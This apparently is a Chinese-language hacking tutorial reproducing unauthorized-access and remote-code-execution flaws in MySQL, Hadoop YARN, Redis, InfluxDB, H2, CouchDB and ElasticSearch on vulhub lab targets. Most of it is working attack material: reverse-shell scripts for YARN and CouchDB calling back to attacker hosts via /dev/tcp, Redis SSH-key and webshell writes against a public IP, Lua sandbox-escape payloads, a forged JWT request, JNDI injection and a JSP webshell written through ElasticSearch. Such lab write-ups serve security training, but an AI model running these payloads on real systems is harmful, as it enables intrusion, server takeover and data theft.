5大数据库未授权访问漏洞深度剖析【黑客最爱的‘甜点‘】

在当今数字时代,数据库系统已成为企业和组织信息架构的核心支柱。然而,随着其重要性的提升,数据库的安全问题也日益突出。本文将深入探讨五大主流数据库系统——MySQL、Hadoop、Redis、InfluxDB和H2 database的未授权访问漏洞。这些漏洞如同数字世界中的"特洛伊木马",潜伏在看似坚不可摧的数据堡垒中,等待着被不怀好意的入侵者利用。让我们揭开这些数据库系统的安全面纱,了解它们的脆弱之处,以及如何防患未然。

Mysql

1. 未授权访问-CVE-2012-2122

   1. 介绍

      1. 当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。

   2. 靶场

      1. vulhub mysql/CVE-2012-2122

   3. 条件

      1. MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
      2. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

   4. 复现

      1. 启动靶机

      2. 攻击者直接输入本机输入语句即可

         1. for i in seq 1 1000; do mysql -uroot -pwrong -h 192.168.58.147 -P3306 ; done

      3. 

Hadoop

1. 未授权访问-内置配合命令执行

   1. 介绍

      1. Hadoop YARN ResourceManager 未授权访问漏洞是一个严重的安全隐患，它潜伏在许多未经正确配置的 Hadoop 集群中。这个漏洞的核心问题在于 YARN 的 ResourceManager 组件在默认情况下可能没有启用适当的访问控制机制。因此，当这个组件被暴露在公网或不安全的网络环境中时，攻击者可以轻易地未经授权就直接访问到管理接口。
      2. 端口在50010附近

2. 复现

   1. 靶场

      1. vulhub hadoop/unauthorized-yarn

   2. 过程

      1. 攻击者启动nc监听 nc.exe -lvvp 9999

      2. 直接使用脚本即可

         1.  hadoop.py
            
             import requests
               
             target = 'http://192.168.58.147:8088/'//存在漏洞的ip网址
             lhost = '192.168.58.224' # nc监听的ip
            
             url = target + 'ws/v1/cluster/apps/new-application'
             resp = requests.post(url)
             app_id = resp.json()['application-id']
             url = target + 'ws/v1/cluster/apps'
             data = {
                 'application-id': app_id,
                 'application-name': 'get-shell',
                 'am-container-spec': {
                     'commands': {
                         'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,//此处修改端口号
                     },
                 },
                 'application-type': 'YARN',
             }
             requests.post(url, json=data)
            

      3. 

redis

1. 未授权访问

   1. 介绍

      1. Redis是一种非常广泛使用的缓存服务，但它也被用作消息代理。客户端通过套接字与 Redis 服务器通信，发送命令，服务器更改其状态（即其内存结构）以响应此类命令。当Redis服务器被配置为允许来自任意IP地址的连接，并且没有设置访问密码或其他身份验证机制时，攻击者可以直接连接到Redis服务器，并执行各种操作，包括读取、修改或删除数据，甚至可能通过写入特定文件（如SSH密钥）来获取服务器的远程访问权限。这种配置错误可能导致敏感数据泄露、系统被入侵，甚至整个服务器被攻击者控制。
      2. 默认端口：6379

   2. 条件

      1. /etc/redis.conf没有绑定本地ip

         1. 

      2. /etc/redis.conf没有开启安全模式

         1. 

   3. 靶场搭建

      1. 无脑敲命令

      2.  1、下载
          wget http://download.redis.io/releases/redis-2.8.17.tar.gz
         
          2、解压编译
          tar xzvf redis-2.8.17.tar.gz  #解压安装包
          cd redis-2.8.17  # 进入redis目录
          make #编译
         
          3、配置及启动
          cd src/ #进入src目录 
          cp redis-server /usr/bin/ 
          cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下（这样启动redis-server和redis-cli就不用每次都进入安装目录了）
          cd ..   # 返回上一级目录
          cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
          redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
         

   4. 公私钥webshell复现

      1. 直接登录操作redis数据库

         1. 使用命令redis-cli -h 47.99.117.44
         2. 

      2. 得到路径写入webshell

         1. 条件：

            1. web目录具有读写权限

         2. config set dir /var

         3. config set dbfilename 1.php

         4. set test "<?php phpinfo();?>"

         5. save

         6. 

         7. 

      3. 攻击者只需要执行以下命令即可webshell

         1.  ssh-keygen -t rsa
             cd /root/.ssh
             (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
             cat key.txt | redis-cli -h 47.99.117.44 -x set xxx
             redis-cli -h 47.99.117.44
             config set dir /root/.ssh
             config set dbfilename authorized_keys
             save
             ssh -i id_rsa root@47.99.117.44
             cd /root/.ssh
             ssh -i id_rsa root@47.99.117.44
            

         2. 

      4. 解读命令

         1.  ssh-keygen -t rsa: 生成 SSH 密钥对。
             cd /root/.ssh: 进入 SSH 密钥目录。
             (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt: 创建包含公钥的文件。
             cat key.txt | redis-cli -h 47.99.117.44 -x set xxx:
             这一步将公钥内容存储在 Redis 中，键名为 "xxx"。这是 "xxx" 键的作用所在：它临时存储了攻击者的公钥。
             redis-cli -h 47.99.117.44: 连接到目标 Redis 服务器。
             config set dir /root/.ssh: 将 Redis 的工作目录设置为 SSH 配置目录。
             config set dbfilename authorized_keys: 设置 Redis 的数据库文件名为 "authorized_keys"。
             save: 这个命令会触发 Redis 将其数据保存到磁盘。由于之前的设置，它会将数据（包括 "xxx" 键中存储的公钥）写入到 /root/.ssh/authorized_keys 文件中。
             ssh -i id_rsa root@47.99.117.44: 尝试使用新添加的密钥登录服务器。
            
             "xxx" 键的作用是：
             临时存储攻击者的公钥。
             作为一个中间步骤，将公钥从攻击者的系统传输到目标 Redis 服务器。
             当 Redis 执行 save 命令时，"xxx" 键的内容（即公钥）会被写入到 authorized_keys 文件中。
            

      5. 自动化脚本webshell

         1. 工具名称： redis-rogue-getshell

         2. 下载地址：vulhub/redis-rogue-getshell：redis 4.x/5.x 主/从getshell模块 (github.com)

         3. 使用说明：

            1. 攻击者监听端口：nc -lvvp 8888

            2. 攻击者执行命令：

               python  redis-master.py -r 47.99.117.44 -p 6379 -L 43.139.186.80 -P 8888 -f RedisModulesSDK/exp.so -c "id"
               

   5. 沙箱绕过复现

      1. 介绍

         1. 安全研究人员发现在 Debian 上，Lua 由 Redis 动态加载，且在 Lua 解释器本身初始化时，module和require以及package的Lua 变量存在于上游Lua 的全局环境中，而不是不存在于 Redis 的 Lua 上，并且前两个全局变量在上个版本中被清除修复了，而package并没有清楚，所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。

      2. 条件

         1. Debian 和 Debian 派生的 Linux 发行版（如Ubuntu）上的 Redis 服务。

      3. 靶场：

         1. 搭建如上

      4. 复现

         1. 连接上redis

         2. 直接输入poc即可：

            poc1：
            package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0
            或者
            poc2：
            eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
            

         3. 可以看到，我的服务器不行，说明我的不是Debian 和 Debian 派生的 Linux 发行版的服务器[坏笑]

            1. 

Influxdb

1. 介绍

   1. InfluxDB是一个由InfluxData开发的开源时序型数据库，专注于海量时序数据的高性能读、高性能写、高效存储与实时分析等，在DB-Engines Ranking时序型数据库排行榜上排名第一，广泛应用于DevOps监控、IoT监控、实时分析等场景。其使用jwt作为鉴权方式。在用户开启了认证，但未设置参数shared—secret的情况下，jwt的认证密钥为空字符串，此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
   2. 默认端口：8086 8088

2. 未授权访问

   1. jwt空鉴权漏洞复现

      1. 靶场：

         1. vulhub influxdb/CVE-2019-20933

      2. 启动靶场，访问执行sql的页面，发现有鉴权

         1. 
         2. 

      3. 构造鉴权数据，分别将poc填入对应的方框中生成jwt秘钥

         1.  jwt秘钥生成网址：jwt.io
            
             {
               "alg": "HS256",
               "typ": "JWT"
             }
             {
               "username": "admin",
               "exp": 2986346267
             }
            

         2. 

      4. 将构造好的jwt插入数据包中，成功执行sql语句

         1.  POST /query HTTP/1.1
             Host: 192.168.58.147:8086
             User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
             Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
             Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
             Accept-Encoding: gzip, deflate
             Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
             DNT: 1
             Connection: close
             Upgrade-Insecure-Requests: 1
             Content-Type: application/x-www-form-urlencoded
             Content-Length: 22
            
             db=sample&q=show users
            

         2. 

H2 database

1. 介绍

   1. H2 database是一款Java内存数据库，多用于单元测试。H2 database自带一个Web管理页 面，在Spimg开发中，如果我们设置如下选项，即可允许外部用户访问Web管理页面，且没有鉴权：
   2. 默认端口：20051

2. 未授权访问

   1. 配置不当复现

      1. 靶场：

         1. vulhub h2database/h2-console-unacc

      2. 条件：

         1. spring.h2.console.enabled=true
         2. spring.h2.console.settings.web-allow-others=true

      3. 可以看到可以直接未授权访问其页面

         1. http://192.168.58.147:8080/h2-console/login.jsp?jsessionid=3f71c8557c5d21dc91e885048de1c9e7
         2. 

      4. 使用JNDI-Injection-Exploit工具生成执行RMI Payload-URL

         1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.58.147

            1. 作用就是开启监听并执行命令，-C为执行的命令，-A为监听机的ip地址，所以文件执行条件是目标主机是能访问到的，其次就是页面不要关掉

         2. 

      5. 在Driver Class填入javax.naming.InitialContext

      6. 在JDBC URL:生成的rmi地址（三个选一个即可）

         1. 
         2. 

CouchDB

1. 介绍

   1. Apache CouchDB是一个开源数据库，专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的 NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）

2. 权限绕过配合RCE绕过

   1. 介绍：

      1. 在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员，属于垂直权限绕过漏洞。
      2. 默认端口：5984

   2. 条件：

      1. 小于 1.7.0 以及 小于 2.1.1

   3. 复现

      1. 靶场

         1. /vulhub/couchdb/CVE-2017-12635

      2. 访问首页，192.168.58.147:5984，符合漏洞环境

         1. 

      3. 捉包访问登录页面http://192.168.58.147:5984/_utils

         1. 

      4. 直接捉包完全修改和发送两个数据包即可，除了host字段不一样，其他都要一样

         1. 
         2. 

3. 任意命令执行

   1. 介绍

      1. 在 2017 年 11 月 15 日，CVE-2017-12635 和 CVE-2017-12636 披露， CVE-2017-12636 是一个任意命令执行漏洞，我们可以通过 config api 修改 couchdb 的配置 query_server，这个配置项在设计、执行 view 的时候将被运行。

      2. CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同，导致语句执行产生差异性导致的。可以被利用于，非管理员用户赋予自身管理员身份权限。

         CVE-2017-12636 时由于数据库自身设计原因，管理员身份可以通过 HTTP（S）方式，配置数据库。在某些配置中，可设置可执行文件的路径，在数据库运行范围内执行。结合 CVE-2017-12635 可实现远程代码执行。

   2. 条件

      1. 小于 1.7.0 以及 小于 2.1.1

   3. 复现

      1. 攻击者nc监听，nc -lvvp 5566

      2. 攻击者执行脚本即可webshell

         1.  #!/usr/bin/env python3
             import requests
             import json
             import base64
             from requests.auth import HTTPBasicAuth
            
             target = 'http://192.168.58.147:5984'//此处修改为，目标主机的ip
             command = rb"""sh -i >& /dev/tcp/192.168.58.147/5566 0>&1"""//此处修改为，目标主机的ip
             version = 2
            
             session = requests.session()
             session.headers = {
                 'Content-Type': 'application/json'
             }
             # session.proxies = {
             #     'http': 'http://127.0.0.1:8085'
             # }
             session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
               "type": "user",
               "name": "wooyun",
               "roles": ["_admin"],
               "roles": [],
               "password": "wooyun"
             }''')
            
             session.auth = HTTPBasicAuth('wooyun', 'wooyun')
            
             command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
             if version == 1:
                 session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
             else:
                 host = session.get(target + '/_membership').json()['all_nodes'][0]
                 session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
            
             session.put(target + '/wooyun')
             session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
            
             if version == 1:
                 session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
             else:
                 session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
            

         2. 

ElasticSearch

1. 文件写入RCE漏洞

   1. 原理

      1. ElasticSearch具有备份数据的功能，用户可以传入一个路径，让其将数据备份到该路径下，且文件名和后缀都可控。

         所以，如果同文件系统下还跑着其他服务，如Tomcat(8080)、PHP等，我们可以利用ElasticSearch的备份功能写入一个webshell。

         和CVE-2015-5531类似，该漏洞和备份仓库有关。在elasticsearch1.5.1以后，其将备份仓库的根路径限制在配置文件的配置项path.repo中，而且如果管理员不配置该选项，则默认不能使用该功能。即使管理员配置了该选项，web路径如果不在该目录下，也无法写入webshell。

      2. 默认端口： Tomcat(8080)，elasticsearch1.5.1（9200）

   2. 条件

      1. 1.5.x以前

   3. 复现：

      1. 靶场：

         1. /vulhub/elasticsearch/WooYun-2015-110216

      2. 环境启动，访问9200和8080端口，可以看到

         1. 
         2. 

      3. 首先攻击者创建一个恶意的索引文档

         1.  curl -XPOST http://192.168.58.147:9200/yz.jsp/yz.jsp/1 -d'
            
             {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
            
             '
            

         2. 

      4. 再创建一个恶意的存储库，其中location的值即为我要写入的路径。

         1. 
         2. 这个漏洞利用了 Repositories 路径的灵活性，允许攻击者在服务器上创建任意文件夹。通过指定路径到 Tomcat 的 web 部署目录，攻击者可以创建新的应用目录，Tomcat 会自动将其识别为新的 web 应用。例如，创建名为 “wwwroot” 的文件夹会导致 Tomcat 自动部署一个同名的新应用，从而potentially执行恶意代码。

      5. 存储库验证并创建

         1. 

      6. 访问http://192.168.58.147:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp，这就是我们写入的webshell。

         1. 

      7. 在此页面传入http://192.168.58.147:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success，再去访问http://192.168.58.147:8080/wwwroot/test.jsp就会出现success

         1. 
         2. 

纵观这五大数据库系统的未授权访问漏洞,我们可以看到一个共同的主题:配置不当和默认设置往往是安全隐患的根源。从MySQL的CVE-2012-2122到H2 database的配置问题,这些漏洞提醒我们,数据库安全不仅仅是软件本身的问题,更是一个涉及配置、管理和持续监控的综合挑战。

作为数据库管理员或开发者,我们必须时刻保持警惕,定期检查和更新系统配置,关注最新的安全公告,并采取必要的防护措施。同时,我们也要认识到,随着技术的不断进步,新的漏洞可能随时出现。因此,建立一个动态的、responsive的安全策略至关重要。

最后,让我们记住:数据库安全是一场永无止境的马拉松,而不是短跑。只有通过持续的学习、适应和改进,我们才能在这个瞬息万变的数字世界中保护我们最宝贵的资产——数据。